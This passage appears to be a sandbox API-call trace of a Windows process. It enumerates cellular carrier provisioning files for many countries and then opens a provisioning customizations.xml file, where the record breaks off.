ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", cAlternateFileName="290__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", cAlternateFileName="291__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="292__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="293__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="294__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="295__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="296__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="297__C~1.PRO")) returned 1 [0123.760] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="298__C~1.PRO")) returned 1 [0123.761] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="299__C~1.PRO")) returned 1 [0123.761] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="29__CO~1.PRO")) returned 1 [0123.761] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="2__CON~1.PRO")) returned 1 [0123.761] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="300__C~1.PRO")) returned 1 [0123.761] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="301__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", cAlternateFileName="302__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="303__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="304__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="305__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", cAlternateFileName="306__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="307__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="308__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="309__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="30__CO~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="310__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="311__C~1.PRO")) returned 1 [0123.764] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="312__C~1.PRO")) returned 1 [0123.765] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", cAlternateFileName="313__C~1.PRO")) returned 1 [0123.765] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="314__C~1.PRO")) returned 1 [0123.765] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="315__C~1.PRO")) returned 1 [0123.765] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="316__C~1.PRO")) returned 1 [0123.765] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="317__C~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="318__C~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", cAlternateFileName="319__C~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x0, dwReserved1=0x0, cFileName="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="31__CO~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="320__C~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="321__C~1.PRO")) returned 1 [0123.767] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="322__C~1.PRO")) returned 1 [0123.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0123.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0123.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0124.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0124.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0124.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0124.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0124.541] CloseHandle (hObject=0x63c) returned 1 [0124.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0124.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0124.543] CloseHandle (hObject=0x63c) returned 1 [0124.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0124.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0124.545] CloseHandle (hObject=0x63c) returned 1 [0124.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0124.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0124.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0124.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0124.548] CloseHandle (hObject=0x63c) returned 1 [0125.301] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0125.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0125.301] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 